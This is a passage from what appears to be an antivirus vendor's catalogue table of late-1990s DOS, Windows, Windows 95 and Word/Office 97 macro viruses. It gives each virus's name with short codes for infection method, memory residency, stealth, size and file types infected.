¦.Scream.1158 ¦INT ¦MCB ¦ HEr¦1158 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦.Scream.1168 ¦INT ¦MCB ¦ H ¦1168 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦.Wulf (2)¦INT ¦MCB ¦ H ¦1500 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wg.728 ¦INT ¦MCB ¦ H ¦728 ¦ E * ¦ e ¦ L+(0-12) ¦
¦Wg.2413 ¦INT ¦MCB ¦ H ¦2413 ¦ E * ¦ e ¦ L+? ¦
¦Wg.2423 ¦INT ¦MCB ¦ H ¦2423 ¦ E * ¦ e ¦ L+? ¦
¦Wg.3822 ¦INT ¦MCB ¦HVEr¦3822 ¦ ES * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Windows - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦Win.Apparition ¦INT ¦ - ¦ HV ¦87438¦ NEW E ¦ s ¦ L+? ¦
¦Win.Apparition ¦INT ¦ - ¦ HV ¦89021¦ NEW E ¦ s ¦ L+? ¦
¦Win.Apparition ¦INT ¦ - ¦ HV ¦91565¦ NEW E ¦ s ¦ L+? ¦
¦.CyberRiot ¦INT WinExec HV¦3272 ¦ NEW E* ¦ i,e ¦ L+? ¦
¦.Lamer ¦FIND¦ - ¦ - ¦1743 ¦ NEW E* ¦ i ¦ L+? ¦
¦.SoulMan ¦FIND¦ - ¦ - ¦4096 ¦ NEW E* ¦ i,e ¦ L+? ¦
¦.Tentacle.1958 ¦FIND¦ - ¦ Ch ¦1958 ¦ NEW E* ¦ i,e ¦ L ¦
¦.Tentacle.10634¦FIND¦ - ¦ Ch ¦10634¦ NEW E* ¦ i,e ¦ L ¦
¦.Twitch (2)¦FIND¦ - ¦ - ¦ ? ¦ NEW E* ¦ i ¦ L ¦
¦.Vik (3)¦FIND¦ - ¦ - ¦1152 ¦ NEW E* ¦ i ¦ L ¦
¦.Vir1.4 (2)¦FIND¦ - ¦ - ¦854 ¦ NEW E* ¦ i ¦ L ¦
¦.Winsurf.1171 ¦INFI¦shell - ¦1171 ¦ NEW E* ¦ e ¦ L ¦
¦.Winsurf.1432 ¦INFI¦shell - ¦1432 ¦ NEW E* ¦ e ¦ L ¦
¦.Wintiny ¦FIND¦ - ¦ - ¦741 ¦ NEW E* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Win32 - viruses for WIN32 systems (Win32s/Windows 95/Windows NT) ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦Win32.Cabanas ¦INFI¦VMEM¦ - ¦3000 ¦ NEW E* ¦ e ¦ L+? ¦
¦.Semisoft.59904¦FIND¦ - ¦ - ¦59904¦ NEW E ¦ s ¦ L ¦
¦.Semisoft.60416¦FIND¦ - ¦ - ¦60416¦ NEW E ¦ s ¦ L ¦
¦Win32.HLLP ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦.Apparition ¦INT ¦WHIDE HV ¦79051¦ NEW E* ¦ s ¦ L+? ¦
¦.Karabah ¦FIND¦ - ¦ - ¦186380 NEW E ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Windows'95 - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦Win95.Boza (4)¦FIND¦ - ¦ V ¦2680 ¦ NEW E* ¦ i,e ¦ L+? ¦
¦.Companion ¦FIND¦ - ¦ V ¦4096 ¦ NEW E* ¦ s ¦ L, companion ¦
¦.Harry.1536 (2)¦INT ¦VMM ¦ VEr¦1536 ¦ NEW E* ¦ e ¦ L+? ¦
¦.Harry.2560 ¦INT ¦VMM ¦ VEr¦2560 ¦ NEW E* ¦ e ¦ L+? ¦
¦.Homer ¦INT ¦WTask - ¦ ? ¦ NEW E* ¦ e ¦ L ¦
¦.Jacky ¦FIND¦ - ¦ - ¦1440 ¦ NEW E* ¦ e ¦ L ¦
¦.Mad ¦FIND¦ - ¦ V ¦2736 ¦ NEW E* ¦ e ¦ L ¦
¦.MrKlunky ¦INT ¦VxD ¦ Er ¦6943 ¦ NEW E* ¦ e ¦ VxD-L, E-L+1423 ¦
¦.Memorial ¦INT ¦VxD ¦ VEr¦7783 ¦ CE&PE* ¦ e ¦ CE-L,PE+317 ¦
¦.Punch ¦INT ¦VxD ¦ Er ¦9262 ¦ NEW E* ¦s,i,e¦ VxD-L, E-L+923+? ¦
¦.Spawn ¦FIND¦ - ¦ - ¦4096 ¦ NEW E* ¦ s ¦ L, companion ¦
¦.Zombie ¦FIND¦ - ¦ - ¦4584 ¦ NEW E* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Wizard.802 ¦INT ¦ADDR¦ - ¦802 ¦ .C&C * ¦ e ¦ L ¦
¦Wizard.812 ¦INT ¦MCB ¦ - ¦812 ¦ CE * ¦ e ¦ L+p ¦
¦Wizard.897 ¦INT ¦MCB ¦ - ¦897 ¦ CE ¦ e ¦ L+p ¦
¦Wizard.2502 ¦INT ¦MCB ¦ S ¦2502 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MS-Office'97 - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦W97M.Alarm ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Allen ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Angus ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.AntiSR1 ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Appder (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Change ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Concept (3)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Czech ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Edds ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Eraser ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Frenzy ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Gable ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Imposter ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.India ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.KLA ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Kompu (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.MadDog ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.MDMA ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Minimal (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Mtf (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Muck ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NiceDay ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NightShade ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nuclear ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nop ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Notice ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nova ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Pomp ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Poppy (2)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Rapi ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Sarabaya ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Tamago ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.TempAuto ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Twno ¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Wazzu (4)¦OF97¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦WordMacro - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦WM.Alex ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Alien ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Alliance (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Ammy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Anak ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Anarchy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Andry ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Angelia ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Angus ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.AntiAVs ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Apparition ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Appder (2)¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Archie ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Armadillon ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Attack ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Atom (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Baby ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Balrog ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Bandung (2)¦Word¦GLB ¦ HV ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Barbaro ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Bertika ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Bishkek ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.BlackDeath ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Blashyrkh ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Boogie ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Boom ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Buero ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Cap (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Cebu (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.CeeFour ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Chandiga ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Chaka ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Chaos ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Cheat (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Cheezhed ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Chill ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Colors ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Concept (24)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.CountTen ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Cult ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.CVCK (2)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Czech ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Daddy ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Dakota ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Daniel (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.DarkSide (5)¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Date (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Dave ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Dedicato ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Demon (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Dietzel ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Divina (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Doggie (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Donoso ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Dracula ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Dzt ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Easy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Elohim ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Emperor (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Emt ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.ENFK ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Epidemic ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Eraser (6)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Extra ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Fom ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.FormatC ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Friendly ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Fuzzy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Gable ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Gas ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Gest ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Giggle ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Goggles ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.GoldFish ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.GoldSecret ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.GreenFury ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Grunt ¦Word¦GLB ¦ V ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.FiveA ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Habir ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Haggis ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Harkone ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hassle ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Header ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hellgate ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Helper ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hiac ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hider ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hilight ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hitman ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hot ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hunter ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Hybrid ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Imposter ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.India ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Inexist ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Influenza ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Inside ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Innocence (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Italian ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Irish ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Jakutsk ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Johnny ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Kepek ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Kerranga ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.KillDll ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.KillDOS ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Killer ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Killok ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.KillProt ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Killuf ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Kompu ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Lamah ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Lazy ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Lemon ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Ler ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Look ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Lord ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Lunch (2)¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.MadDog (2)¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Magnum ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Makrone ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Malaria ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Malice ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Mark ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.MDMA (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.MG (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Minimal (15)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Minimorph ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Monday ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Mota ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Mtf (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Muck ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Munch ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.MVDK ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Navrhar ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Newyear ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NiceDay ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nikita ¦Word¦GLB ¦ H ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nf (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Niki ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Niknat ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NJ.based ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.No-F ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NoMercy (5)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nop (6)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NoPrint ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nova ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NPad ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.NPoly ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Nuclear (3)¦Word¦GLB ¦ HV ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Oblom (3)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Ochoy ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.OldPad ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Ordo ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Orhey ¦Word¦GLB ¦ HV ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Outlaw (3)¦Word¦GLB ¦ S ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Oval ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Paper ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Parasite (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Pcw ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Percent ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Pesan ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Phantom ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Phardera ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Pig (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Plushad ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Polite ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Puritan ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Pwd ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Quevi ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Quick ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Ramses ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Randomic (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Rapi ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Reflex ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Safwan ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Sam ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Sarabaya (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Satanic ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Saver (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Schoo ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Screw ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.ShareFun ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC*¦ i ¦ ? ¦
¦.Showofxx ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Shuffle ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.SetMode ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Shadow ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Simple ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Since ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Skammy (2)¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
¦.Slow ¦Word¦GLB ¦ - ¦ ? ¦WinWordDOC ¦ i ¦ ? ¦
